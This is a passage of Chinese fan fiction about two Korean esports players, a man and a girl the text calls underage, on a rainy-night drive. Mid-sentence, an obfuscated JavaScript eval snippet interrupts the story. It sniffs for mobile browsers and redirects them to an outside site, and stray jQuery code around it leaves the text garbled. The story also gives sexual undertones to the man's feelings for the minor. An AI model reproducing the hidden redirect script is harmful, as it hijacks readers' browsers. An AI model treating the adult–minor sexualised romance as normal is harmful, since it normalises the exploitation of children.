韩王浩是被噩梦给惊醒的。


    当他睁开眼睛时，鼻尖是混乱又糜烂的气息，混合着他的体温以及湿漉漉的水汽，再被乱糟糟的被子掩盖掉一切案发证据。窗户不知不觉间已经被狂风掀开，像是一个怪物撩开眼皮一般，玉体横陈地袒露着自己深沉的黑暗。时不时炸响一道雷声，简直像是往他的脸上抽了一巴掌，来谴责自己内心的肮脏，而本就混乱的思绪在噼里啪啦如珠串掉落在地上无规律弹跳的声音里拉长，扭曲，随后被拧成一股绳结，浸透着当晚沉闷压抑的空气，再一股脑儿塞进他的脑海里。


    韩王浩觉得自己是真的要完蛋了，不然为什么会一遍遍视奸权允熙的小号，再看着她和其他人双排的对局记录生闷气，不然为什么他会想着权允熙睡觉，甚至于睡梦里都是她的脸，她冷冷清清地抬起眼睛，纤长的睫毛宛若女人藕臂上覆盖的丝绸，遮挡着里面若隐若现的美好情绪。她张了张嘴，似乎说了些什么，然后他就惊醒了。


    他抹了一把脸，打过去一个kkt语音通话，而沉浸在睡梦中的我就被铃声给吵醒。


    我睡眠一向很浅，尤其是在雨夜，窗外的声音乱七八糟地从我的左耳跑到右耳，仿佛一个恶劣的怪物吐着长长的肉粉色舌头对着我吐口水，身体很沉，身上全都是粘腻的汗水，头发也因为冷汗而黏在脸上。所以一有响动，我的睡意就彻底被赶跑了，接起电话时，嗓音因为长久没有水液润泽而变得干涩沙哑，仿佛暴雨中打卷的树叶。


    “韩王浩，你要死啊。”


    电话那头是长达三十秒的沉默，我的手却始终没有挂断电话，而是任由他在我面前不发一言。室内很吵，刷刷刷的雨声让我内心无端地生出一丝诡异的焦躁，韩王浩紊乱的呼吸声仿佛海浪潮涌吞吐，通过电话传递到我的耳边，一下一下在我的心上涤荡。


    “再不说话我就挂电话了。”我无声打了个哈欠，身体很疲倦地想要让我闭上眼睛，可对于长期睡眠障碍的我来说，被赶跑的睡意虽然已经卷土重来，可要想再次进入睡眠又谈何容易，即使闭上眼睛，也不过是清醒地沉浸在脑海那些可怕的幻觉当中挨到天亮。


    “权允熙，我想见你。”韩王浩说话了，我这才意识到他之前的沉默是因为什么——对于我们这样活在舆论当中的人来说，吐露真心难得可贵，尤其是我们对于彼此而言都是无法称之为普通朋友的暧昧关系，上前一步既是进攻的讯号，同时也是撩开自己的保护，露出底下柔软的情感。这对于韩王浩来说实在需要勇气，所以，尽管那份思念已经快要压抑不住喷发出来了，邀请的话语已经到了嘴边，却还是要反反复复在心底琢磨，直到最后一刻才能够宣之于口。


    我明白这种折磨，所以很轻易地选择了原谅他的沉默。对于这样一份邀约，理智告诉我应该选择拒绝，可也许是暴雨给了我勇气，又或许是韩王浩本身就能够让我充满勇气，我居然不愿意重新回到温暖的被窝里发呆，而想要荒唐地答应他的邀请。


    心底有一个声音在说：“你在犹豫什么呢？你难道不也在期待一场出逃吗？”


    我被心底的声音蛊惑，又或者说我遵循了自己的本能，话语就仿佛水珠落下一样自然的说了出来：“可是你要怎么过来呢？”


    KZ基地距离我们GRF基地说近也不近，说远也不远，这是一段介于“比邻而居”和“很麻烦”之间的距离，因此这两种状态的选择全看当事人的心意。韩王浩想要见到我，自然就不会觉得十五分钟车程加上暴雨天气是麻烦的，而我——如果不是为了跟李相赫和韩王浩吃饭，谁会往他们那一带走呢？


    “我来接你，然后我们去……随便去哪里？”


    韩王浩的声音又恢复了平日里的漫不经心，他有驾照，只是车子很少开，如今正好可以在喜欢的妹子面前装B。所以他快速地收拾好一切，再把床上的“罪证”一股脑地卷进自己卧室的卷筒洗衣机里。


    后半夜，又是下着暴雨，路面上空空荡荡的，只有一辆小轿车闪烁着两道长长的白光行驶在沉睡的首尔市区。


    韩王浩的车停在了小区门口，而我撑着一把黑色的大伞，白色的裙子将将垂在小腿肚上，他差一点以为自己遇见幽灵了。


    “我们随便兜风吧。”韩王浩也不知道自己应该去哪里，酒吧不算是个好地方，所以他难得恢复善良人格地在未成年小女孩面前当了一回好榜样，没有去那些乱七八糟的场合。


    这是我第一次上陌生男人的汽车，我坐在韩王浩的副驾驶上，乖乖地扣上了安全带，一种微弱的信任驱使着我抬起头看他的侧脸，任由他带我去往任何地方。不得不说，这真的是我人生当中最奇妙的一个夜晚，和点头之交并不熟悉的暧昧对象坐上一辆只属于我们的小轿车，在这个随时有可能降下一道雷劈死我们的夜晚，开启一场没有人知道的旅行。


    “你坐过来一点，”韩王浩的语气自然又亲昵，我有一个瞬间被他的话语给迷惑，甚至怀疑我们是不是在某个我忘记的时间里相爱了：“我开了一点窗户，你小心淋湿。”


    这真是一个绝妙的理由，冠冕堂皇，无懈可击，让我也找不到一个可以用来拉扯的拒绝理由。就这样，我的身上盖着他的队服，身体坐得离他更近了，甚至我可以感受到他手臂上传来的热气。


    这个距离太近了，让我感觉到惶恐，又感觉到温暖。我感觉自己就好像一只在蒸锅里挥舞着钳子的螃蟹，分不清升高的温度到底是因为死亡，还是因为幻想出来的爱情的错觉。在暴雨降下的夜里，野生动物必须靠近篝火以取暖，即使靠得太近有被火焰灼伤的风险，但谁能拒绝被揉进骨血和基因里的生物本能呢？谁能因为害怕被灼伤就不去靠近温暖呢？我甚至内心产生了一丝扭曲的嫉恨，我闭着眼睛，放任自己的情感在掌心流动，再化作一股勇气，轻轻地，轻轻地握住了他冰冷的手臂。


    然后我睁开眼睛，被自己的大胆也是被韩王浩的体温给吓醒，而他在一处空旷的路边停车熄火，偏过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147992|171354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头看向我苍白的脸和倔强抿起的嘴唇。


    “权允熙，你抖什么？”


    韩王浩的声音听不出情绪，又或者说，我已经丧失了分辨能力，听不出他的话语里到底是对我的爱还是看到猎物即将上钩时的兴奋。我知道韩王浩要比他想象的更加爱我，因为在他的人生里从来没有见过像我一样的女孩；我也知道韩王浩给我的爱要比我希望得到的更少，因为他和我一样要那个“唯一”和“确定”。


    我分不清自己是因为兴奋还是因为恐惧，而韩王浩就那样子专注地盯着我，我看着他垂下来的金色的发丝，看着他那双狭长如同扇子展开的眼睛，看着他抿起来的淡粉色的嘴唇以及他让我停泊自己混乱情感的手臂。但至少在此刻，韩王浩就在我的面前，我不需要纠结自己的话语是否应该被说出，因为在他那样的眼神里，我看到了一种鼓励，一种无需害怕暴露自己真实面目的鼓励。


    我想，如果是王浩哥的话，应该可以理解我的吧？


    理解我的少女心事，理解我辗转反侧的不安，理解我莫名其妙的失眠症，理解我内心的焦渴，理解我的孤单，理解我渴望爱又回避爱的纠结。因为那个人是韩王浩，又或者说，他可以是在这个私密环境下的任何一个人。


    我在心底决计不肯承认这番话是只能对韩王浩说的，而是自欺欺人地安慰自己“只是孤单太久和今夜的雨声太大”，有了借口，接下来矫情的话也就可以很自然地被我说出口来。


    “因为我在困惑——王浩哥，我在困惑。”


    他不自觉摒住了呼吸，而我看着他的眼睛，声音似乎和杂乱的雨声融为一体，变成流出眼眶的泪珠：“我在想，我到底是因为恐惧于一切都是自己的幻想，还是你真的很喜欢我。”


    他仓皇地伸出手想要去擦，但对上我的眼神时又如同碰到火焰一样收回，他抿了抿嘴唇，很克制地别过了头，回避掉我流泪的脆弱的瞬间——那是私密的、极其隐私的一面，他不应该，或者说还没有资格看到这一面。


    但我的手却如同枝条一般，想要抓住什么，于是我抓住了他的手。


    “你呢，你有没有某个时刻真的觉得……”


    后面的话我没有再说下去，而韩王浩选择了继续沉默，只有窗外的雨声让我们各怀着的心思潜滋暗长。韩王浩甚至因为我的询问对自己也产生了一丝困惑——追权允熙到底是因为寂寞太久的无聊，还是因为他真的对权允熙产生了一些“职业阶段计划之外”的好感呢？


    没有答案，只有雨声，无尽的雨声，他最终还是没有擦掉我的泪水，但也没有抽回自己在我手心里的手。他叹了口气，放任自己在温柔的陷阱里一步一步沦陷。折磨韩王浩的香艳的梦境终于要结束了，他终于不需要在自己的脑海里幻想两人之间上演的剧情。每一次沉默的妥协、每一次交缠着的呼吸都是韩王浩在告诉自己——


    他在某个时刻也同样需要着权允熙。


    他想念她，他需要她。